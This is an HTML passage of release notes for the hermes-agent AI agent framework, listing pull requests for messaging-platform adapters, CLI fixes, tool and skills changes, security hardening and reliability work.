<li>Self-reschedule reconnect when <code>start_polling</code> fails after 502 (<a href="https://github.com/NousResearch/hermes-agent/pull/3268" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3268/hovercard">#3268</a>)</li>
</ul>
<h3>Discord</h3>
<ul>
<li>Stop phantom typing indicator after agent turn completes (<a href="https://github.com/NousResearch/hermes-agent/pull/3003" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3003/hovercard">#3003</a>)</li>
</ul>
<h3>Slack</h3>
<ul>
<li>Send tool call progress messages to correct Slack thread (<a href="https://github.com/NousResearch/hermes-agent/pull/3063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3063/hovercard">#3063</a>)</li>
<li>Scope progress thread fallback to Slack only (<a href="https://github.com/NousResearch/hermes-agent/pull/3488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3488/hovercard">#3488</a>)</li>
</ul>
<h3>WhatsApp</h3>
<ul>
<li>Download documents, audio, and video media from messages (<a href="https://github.com/NousResearch/hermes-agent/pull/2978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2978/hovercard">#2978</a>)</li>
</ul>
<h3>Matrix</h3>
<ul>
<li>Add missing Matrix entry in <code>PLATFORMS</code> dict (<a href="https://github.com/NousResearch/hermes-agent/pull/3473" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3473/hovercard">#3473</a>)</li>
<li>Harden e2ee access-token handling (<a href="https://github.com/NousResearch/hermes-agent/pull/3562" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3562/hovercard">#3562</a>)</li>
<li>Add backoff for <code>SyncError</code> in sync loop (<a href="https://github.com/NousResearch/hermes-agent/pull/3280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3280/hovercard">#3280</a>)</li>
</ul>
<h3>Signal</h3>
<ul>
<li>Track SSE keepalive comments as connection activity (<a href="https://github.com/NousResearch/hermes-agent/pull/3316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3316/hovercard">#3316</a>)</li>
</ul>
<h3>Email</h3>
<ul>
<li>Prevent unbounded growth of <code>_seen_uids</code> in EmailAdapter (<a href="https://github.com/NousResearch/hermes-agent/pull/3490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3490/hovercard">#3490</a>)</li>
</ul>
<h3>Gateway Core</h3>
<ul>
<li><strong>Config-gated <code>/verbose</code> command</strong> for messaging platforms — toggle tool output verbosity from chat (<a href="https://github.com/NousResearch/hermes-agent/pull/3262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3262/hovercard">#3262</a>)</li>
<li><strong>Background review notifications</strong> delivered to user chat (<a href="https://github.com/NousResearch/hermes-agent/pull/3293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3293/hovercard">#3293</a>)</li>
<li><strong>Retry transient send failures</strong> and notify user on exhaustion (<a href="https://github.com/NousResearch/hermes-agent/pull/3288" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3288/hovercard">#3288</a>)</li>
<li>Recover from hung agents — <code>/stop</code> hard-kills session lock (<a href="https://github.com/NousResearch/hermes-agent/pull/3104" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3104/hovercard">#3104</a>)</li>
<li>Thread-safe <code>SessionStore</code> — protect <code>_entries</code> with <code>threading.Lock</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3052" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3052/hovercard">#3052</a>)</li>
<li>Fix gateway token double-counting with cached agents — use absolute set instead of increment (<a href="https://github.com/NousResearch/hermes-agent/pull/3306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3306/hovercard">#3306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3317" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3317/hovercard">#3317</a>)</li>
<li>Fingerprint full auth token in agent cache signature (<a href="https://github.com/NousResearch/hermes-agent/pull/3247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3247/hovercard">#3247</a>)</li>
<li>Silence background agent terminal output (<a href="https://github.com/NousResearch/hermes-agent/pull/3297" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3297/hovercard">#3297</a>)</li>
<li>Include per-platform <code>ALLOW_ALL</code> and <code>SIGNAL_GROUP</code> in startup allowlist check (<a href="https://github.com/NousResearch/hermes-agent/pull/3313" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3313/hovercard">#3313</a>)</li>
<li>Include user-local bin paths in systemd unit PATH (<a href="https://github.com/NousResearch/hermes-agent/pull/3527" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3527/hovercard">#3527</a>)</li>
<li>Track background task references in <code>GatewayRunner</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3254/hovercard">#3254</a>)</li>
<li>Add request timeouts to HA, Email, Mattermost, SMS adapters (<a href="https://github.com/NousResearch/hermes-agent/pull/3258" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3258/hovercard">#3258</a>)</li>
<li>Add media download retry to Mattermost, Slack, and base cache (<a href="https://github.com/NousResearch/hermes-agent/pull/3323" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3323/hovercard">#3323</a>)</li>
<li>Detect virtualenv path instead of hardcoding <code>venv/</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/2797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2797/hovercard">#2797</a>)</li>
<li>Use <code>TERMINAL_CWD</code> for context file discovery, not process cwd (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Stop loading hermes repo AGENTS.md into gateway sessions (~10k wasted tokens) (<a href="https://github.com/NousResearch/hermes-agent/pull/2891" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2891/hovercard">#2891</a>)</li>
</ul>
<hr>
<h2>🖥️ CLI &amp; User Experience</h2>
<h3>Interactive CLI</h3>
<ul>
<li><strong>Configurable busy input mode</strong> + fix <code>/queue</code> always working (<a href="https://github.com/NousResearch/hermes-agent/pull/3298" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3298/hovercard">#3298</a>)</li>
<li><strong>Preserve user input on multiline paste</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/3065" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3065/hovercard">#3065</a>)</li>
<li><strong>Tool generation callback</strong> — streaming "preparing terminal…" updates during tool argument generation (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Show tool progress for substantive tools, not just "preparing" (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Buffer reasoning preview chunks and fix duplicate display (<a href="https://github.com/NousResearch/hermes-agent/pull/3013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3013/hovercard">#3013</a>)</li>
<li>Prevent reasoning box from rendering 3x during tool-calling loops (<a href="https://github.com/NousResearch/hermes-agent/pull/3405" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3405/hovercard">#3405</a>)</li>
<li>Eliminate "Event loop is closed" / "Press ENTER to continue" during idle — three-layer fix with <code>neuter_async_httpx_del()</code>, custom exception handler, and stale client cleanup (<a href="https://github.com/NousResearch/hermes-agent/pull/3398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3398/hovercard">#3398</a>)</li>
<li>Fix status bar shows 26K instead of 260K for token counts with trailing zeros (<a href="https://github.com/NousResearch/hermes-agent/pull/3024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3024/hovercard">#3024</a>)</li>
<li>Fix status bar duplicates and degrades during long sessions (<a href="https://github.com/NousResearch/hermes-agent/pull/3291" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3291/hovercard">#3291</a>)</li>
<li>Refresh TUI before background task output to prevent status bar overlap (<a href="https://github.com/NousResearch/hermes-agent/pull/3048" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3048/hovercard">#3048</a>)</li>
<li>Suppress KawaiiSpinner animation under <code>patch_stdout</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/2994" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2994/hovercard">#2994</a>)</li>
<li>Skip KawaiiSpinner when TUI handles tool progress (<a href="https://github.com/NousResearch/hermes-agent/pull/2973" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2973/hovercard">#2973</a>)</li>
<li>Guard <code>isatty()</code> against closed streams via <code>_is_tty</code> property (<a href="https://github.com/NousResearch/hermes-agent/pull/3056" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3056/hovercard">#3056</a>)</li>
<li>Ensure single closure of streaming boxes during tool generation (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Cap context pressure percentage at 100% in display (<a href="https://github.com/NousResearch/hermes-agent/pull/3480" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3480/hovercard">#3480</a>)</li>
<li>Clean up HTML error messages in CLI display (<a href="https://github.com/NousResearch/hermes-agent/pull/3069" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3069/hovercard">#3069</a>)</li>
<li>Show HTTP status code and 400 body in API error output (<a href="https://github.com/NousResearch/hermes-agent/pull/3096" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3096/hovercard">#3096</a>)</li>
<li>Extract useful info from HTML error pages, dump debug on max retries (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Prevent TypeError on startup when <code>base_url</code> is None (<a href="https://github.com/NousResearch/hermes-agent/pull/3068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3068/hovercard">#3068</a>)</li>
<li>Prevent update crash in non-TTY environments (<a href="https://github.com/NousResearch/hermes-agent/pull/3094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3094/hovercard">#3094</a>)</li>
<li>Handle EOFError in sessions delete/prune confirmation prompts (<a href="https://github.com/NousResearch/hermes-agent/pull/3101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3101/hovercard">#3101</a>)</li>
<li>Catch KeyboardInterrupt during <code>flush_memories</code> on exit and in exit cleanup handlers (<a href="https://github.com/NousResearch/hermes-agent/pull/3025" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3025/hovercard">#3025</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3257" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3257/hovercard">#3257</a>)</li>
<li>Guard <code>.strip()</code> against None values from YAML config (<a href="https://github.com/NousResearch/hermes-agent/pull/3552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3552/hovercard">#3552</a>)</li>
<li>Guard <code>config.get()</code> against YAML null values to prevent AttributeError (<a href="https://github.com/NousResearch/hermes-agent/pull/3377" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3377/hovercard">#3377</a>)</li>
<li>Store asyncio task references to prevent GC mid-execution (<a href="https://github.com/NousResearch/hermes-agent/pull/3267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3267/hovercard">#3267</a>)</li>
</ul>
<h3>Setup &amp; Configuration</h3>
<ul>
<li>Use explicit key mapping for returning-user menu dispatch instead of positional index (<a href="https://github.com/NousResearch/hermes-agent/pull/3083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3083/hovercard">#3083</a>)</li>
<li>Use <code>sys.executable</code> for pip in update commands to fix PEP 668 (<a href="https://github.com/NousResearch/hermes-agent/pull/3099" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3099/hovercard">#3099</a>)</li>
<li>Harden <code>hermes update</code> against diverged history, non-main branches, and gateway edge cases (<a href="https://github.com/NousResearch/hermes-agent/pull/3492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3492/hovercard">#3492</a>)</li>
<li>OpenClaw migration overwrites defaults and setup wizard skips imported sections — fixed (<a href="https://github.com/NousResearch/hermes-agent/pull/3282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3282/hovercard">#3282</a>)</li>
<li>Stop recursive AGENTS.md walk, load top-level only (<a href="https://github.com/NousResearch/hermes-agent/pull/3110" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3110/hovercard">#3110</a>)</li>
<li>Add macOS Homebrew paths to browser and terminal PATH resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/2713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2713/hovercard">#2713</a>)</li>
<li>YAML boolean handling for <code>tool_progress</code> config (<a href="https://github.com/NousResearch/hermes-agent/pull/3300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3300/hovercard">#3300</a>)</li>
<li>Reset default SOUL.md to baseline identity text (<a href="https://github.com/NousResearch/hermes-agent/pull/3159" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3159/hovercard">#3159</a>)</li>
<li>Reject relative cwd paths for container terminal backends (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Add explicit <code>hermes-api-server</code> toolset for API server platform (<a href="https://github.com/NousResearch/hermes-agent/pull/3304" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3304/hovercard">#3304</a>)</li>
<li>Reorder setup wizard providers — OpenRouter first (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
</ul>
<hr>
<h2>🔧 Tool System</h2>
<h3>API Server</h3>
<ul>
<li><strong>Idempotency-Key support</strong>, body size limit, and OpenAI error envelope (<a href="https://github.com/NousResearch/hermes-agent/pull/2903" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2903/hovercard">#2903</a>)</li>
<li>Allow Idempotency-Key in CORS headers (<a href="https://github.com/NousResearch/hermes-agent/pull/3530" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3530/hovercard">#3530</a>)</li>
<li>Cancel orphaned agent + true interrupt on SSE disconnect (<a href="https://github.com/NousResearch/hermes-agent/pull/3427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3427/hovercard">#3427</a>)</li>
<li>Fix streaming breaks when agent makes tool calls (<a href="https://github.com/NousResearch/hermes-agent/pull/2985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2985/hovercard">#2985</a>)</li>
</ul>
<h3>Terminal &amp; File Operations</h3>
<ul>
<li>Handle addition-only hunks in V4A patch parser (<a href="https://github.com/NousResearch/hermes-agent/pull/3325" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3325/hovercard">#3325</a>)</li>
<li>Exponential backoff for persistent shell polling (<a href="https://github.com/NousResearch/hermes-agent/pull/2996" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2996/hovercard">#2996</a>)</li>
<li>Add timeout to subprocess calls in <code>context_references</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3469/hovercard">#3469</a>)</li>
</ul>
<h3>Browser &amp; Vision</h3>
<ul>
<li>Handle 402 insufficient credits error in vision tool (<a href="https://github.com/NousResearch/hermes-agent/pull/2802" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2802/hovercard">#2802</a>)</li>
<li>Fix <code>browser_vision</code> ignores <code>auxiliary.vision.timeout</code> config (<a href="https://github.com/NousResearch/hermes-agent/pull/2901" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2901/hovercard">#2901</a>)</li>
<li>Make browser command timeout configurable via config.yaml (<a href="https://github.com/NousResearch/hermes-agent/pull/2801" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2801/hovercard">#2801</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li>MCP toolset resolution for runtime and config (<a href="https://github.com/NousResearch/hermes-agent/pull/3252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3252/hovercard">#3252</a>)</li>
<li>Add MCP tool name collision protection (<a href="https://github.com/NousResearch/hermes-agent/pull/3077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3077/hovercard">#3077</a>)</li>
</ul>
<h3>Auxiliary LLM</h3>
<ul>
<li>Guard aux LLM calls against None content + reasoning fallback + retry (<a href="https://github.com/NousResearch/hermes-agent/pull/3449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3449/hovercard">#3449</a>)</li>
<li>Catch ImportError from <code>build_anthropic_client</code> in vision auto-detection (<a href="https://github.com/NousResearch/hermes-agent/pull/3312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3312/hovercard">#3312</a>)</li>
</ul>
<h3>Other Tools</h3>
<ul>
<li>Add request timeouts to <code>send_message_tool</code> HTTP calls (<a href="https://github.com/NousResearch/hermes-agent/pull/3162" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3162/hovercard">#3162</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a></li>
<li>Auto-repair <code>jobs.json</code> with invalid control characters (<a href="https://github.com/NousResearch/hermes-agent/pull/3537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3537/hovercard">#3537</a>)</li>
<li>Enable fine-grained tool streaming for Claude/OpenRouter (<a href="https://github.com/NousResearch/hermes-agent/pull/3497" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3497/hovercard">#3497</a>)</li>
</ul>
<hr>
<h2>🧩 Skills Ecosystem</h2>
<h3>Skills System</h3>
<ul>
<li><strong>Env var passthrough</strong> for skills and user config — skills can declare environment variables to pass through (<a href="https://github.com/NousResearch/hermes-agent/pull/2807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2807/hovercard">#2807</a>)</li>
<li>Cache skills prompt with shared <code>skill_utils</code> module for faster TTFT (<a href="https://github.com/NousResearch/hermes-agent/pull/3421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3421/hovercard">#3421</a>)</li>
<li>Avoid redundant file re-read for skill conditions (<a href="https://github.com/NousResearch/hermes-agent/pull/2992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2992/hovercard">#2992</a>)</li>
<li>Use Git Trees API to prevent silent subdirectory loss during install (<a href="https://github.com/NousResearch/hermes-agent/pull/2995" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2995/hovercard">#2995</a>)</li>
<li>Fix skills-sh install for deeply nested repo structures (<a href="https://github.com/NousResearch/hermes-agent/pull/2980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2980/hovercard">#2980</a>)</li>
<li>Handle null metadata in skill frontmatter (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
<li>Preserve trust for skills-sh identifiers + reduce resolution churn (<a href="https://github.com/NousResearch/hermes-agent/pull/3251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3251/hovercard">#3251</a>)</li>
<li>Agent-created skills were incorrectly treated as untrusted community content — fixed (<a href="https://github.com/NousResearch/hermes-agent">untagged commit</a>)</li>
</ul>
<h3>New Skills</h3>
<ul>
<li><strong>G0DM0D3 godmode jailbreaking skill</strong> + docs (<a href="https://github.com/NousResearch/hermes-agent/pull/3157" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3157/hovercard">#3157</a>)</li>
<li><strong>Docker management skill</strong> added to optional-skills (<a href="https://github.com/NousResearch/hermes-agent/pull/3060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3060/hovercard">#3060</a>)</li>
<li><strong>OpenClaw migration v2</strong> — 17 new modules, terminal recap for migrating from OpenClaw to Hermes (<a href="https://github.com/NousResearch/hermes-agent/pull/2906" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2906/hovercard">#2906</a>)</li>
</ul>
<hr>
<h2>🔒 Security &amp; Reliability</h2>
<h3>Security Hardening</h3>
<ul>
<li><strong>SSRF protection</strong> added to <code>browser_navigate</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3058" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3058/hovercard">#3058</a>)</li>
<li><strong>SSRF protection</strong> added to <code>vision_tools</code> and <code>web_tools</code> (hardened) (<a href="https://github.com/NousResearch/hermes-agent/pull/2679" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2679/hovercard">#2679</a>)</li>
<li><strong>Restrict subagent toolsets</strong> to parent's enabled set (<a href="https://github.com/NousResearch/hermes-agent/pull/3269" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3269/hovercard">#3269</a>)</li>
<li><strong>Prevent zip-slip path traversal</strong> in self-update (<a href="https://github.com/NousResearch/hermes-agent/pull/3250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3250/hovercard">#3250</a>)</li>
<li><strong>Prevent shell injection</strong> in <code>_expand_path</code> via <code>~user</code> path suffix (<a href="https://github.com/NousResearch/hermes-agent/pull/2685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2685/hovercard">#2685</a>)</li>
<li><strong>Normalize input</strong> before dangerous command detection (<a href="https://github.com/NousResearch/hermes-agent/pull/3260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3260/hovercard">#3260</a>)</li>
<li>Make tirith block verdicts approvable instead of hard-blocking (<a href="https://github.com/NousResearch/hermes-agent/pull/3428" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3428/hovercard">#3428</a>)</li>
<li>Remove compromised <code>litellm</code>/<code>typer</code>/<code>platformdirs</code> from deps (<a href="https://github.com/NousResearch/hermes-agent/pull/2796" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2796/hovercard">#2796</a>)</li>
<li>Pin all dependency version ranges (<a href="https://github.com/NousResearch/hermes-agent/pull/2810" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2810/hovercard">#2810</a>)</li>
<li>Regenerate <code>uv.lock</code> with hashes, use lockfile in setup (<a href="https://github.com/NousResearch/hermes-agent/pull/2812" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2812/hovercard">#2812</a>)</li>
<li>Bump dependencies to fix CVEs + regenerate <code>uv.lock</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/3073" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3073/hovercard">#3073</a>)</li>
<li>Supply chain audit CI workflow for PR scanning (<a href="https://github.com/NousResearch/hermes-agent/pull/2816" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2816/hovercard">#2816</a>)</li>
</ul>
<h3>Reliability</h3>
<ul>
<li><strong>SQLite WAL write-lock contention</strong> causing 15-20s TUI freeze — fixed (<a href="https://github.com/NousResearch/hermes-agent/pull/3385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3385/hovercard">#3385</a>)</li>
<li><strong>SQLite concurrency hardening</strong> + session transcript integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/3249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3249/hovercard">#3249</a>)</li>
<li>Prevent recurring cron job re-fire on gateway crash/restart loop (<a href="https://github.com/NousResearch/hermes-agent/pull/3396" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3396/hovercard">#3396</a>)</li>
<li>Mark cron session as ended after job completes (<a href="https://github.com/NousResearch/hermes-agent/pull/2998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2998/hovercard">#2998</a>)</li>
</ul>
<hr>
<h2>⚡ Performance</h2>
<ul>
<li><strong>TTFT startup optimizations</strong> — salvaged easy-win startup improvements (<a href="https://github.com/NousResearch/hermes-agent/pull/3395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3395/hovercard">#3395</a>)</li>
<li>Cache skills prompt with shared <code>skill_utils</code> module (<a href="https://github.com/NousResearch/hermes-agent/pull/3421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3421/hovercard">#3421</a>)</li>
<li>Avoid redundant file re-read for skill conditions in prompt builder (<a href="https://github.com/NousResearch/hermes-agent/pull/2992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2992/hovercard">#2992</a>)</li>
</ul>
<hr>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li>Fix gateway token double-counting with cached agents (<a href="https://github.com/NousResearch/hermes-agent/pull/3306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3306/hovercard">#3306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/3317" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3317/hovercard">#3317</a>)</li>
<li>Fix "Event loop is closed" / "Press ENTER to continue" during idle sessions (<a href="https://github.com/NousResearch/hermes-agent/pull/3398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3398/hovercard">#3398</a>)</li>
<li>Fix reasoning box rendering 3x during tool-calling loops (<a href="https://github.com/NousResearch/hermes-agent/pull/3405" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3405/hovercard">#3405</a>)</li>
<li>Fix status bar shows 26K instead of 260K for token counts (<a href="https://github.com/NousResearch/hermes-agent/pull/3024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3024/hovercard">#3024</a>)</li>
<li>Fix <code>/queue</code> always working regardless of config (<a href="https://github.com/NousResearch/hermes-agent/pull/3298" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3298/hovercard">#3298</a>)</li>
<li>Fix phantom Discord typing indicator after agent turn (<a href="https://github.com/NousResearch/hermes-agent/pull/3003" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3003/hovercard">#3003</a>)</li>
<li>Fix Slack progress messages appearing in wrong thread (<a href="https://github.com/NousResearch/hermes-agent/pull/3063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3063/hovercard">#3063</a>)</li>
<li>Fix WhatsApp media downloads (documents, audio, video) (<a href="https://github.com/NousResearch/hermes-agent/pull/2978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2978/hovercard">#2978</a>)</li>
<li>Fix Telegram "Message thread not found" killing progress messages (<a href="https://github.com/NousResearch/hermes-agent/pull/3390" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3390/hovercard">#3390</a>)</li>
<li>Fix OpenClaw migration overwriting defaults (<a href="https://github.com/NousResearch/hermes-agent/pull/3282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3282/hovercard">#3282</a>)</li>
<li>Fix returning-user setup menu dispatching wrong section (<a href="https://github.com/NousResearch/hermes-agent/pull/3083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3083/hovercard">#3083</a>)</li>
<li>Fix <code>hermes update</code> PEP 668 "externally-managed-environment" error (<a href="https://github.com/NousResearch/hermes-agent/pull/3099" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3099/hovercard">#3099</a>)</li>
<li>Fix subagents hitting <code>max_iterations</code> prematurely via shared budget (<a href="https://github.com/NousResearch/hermes-agent/pull/3004" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3004/hovercard">#3004</a>)</li>
<li>Fix YAML boolean handling for <code>tool_progress</code> config (<a href="https://github.com/NousResearch/hermes-agent/pull/3300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3300/hovercard">#3300</a>)</li>
<li>Fix <code>config.get()</code> crashes on YAML null values (<a href="https://github.com/NousResearch/hermes-agent/pull/3377" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3377/hovercard">#3377</a>)</li>
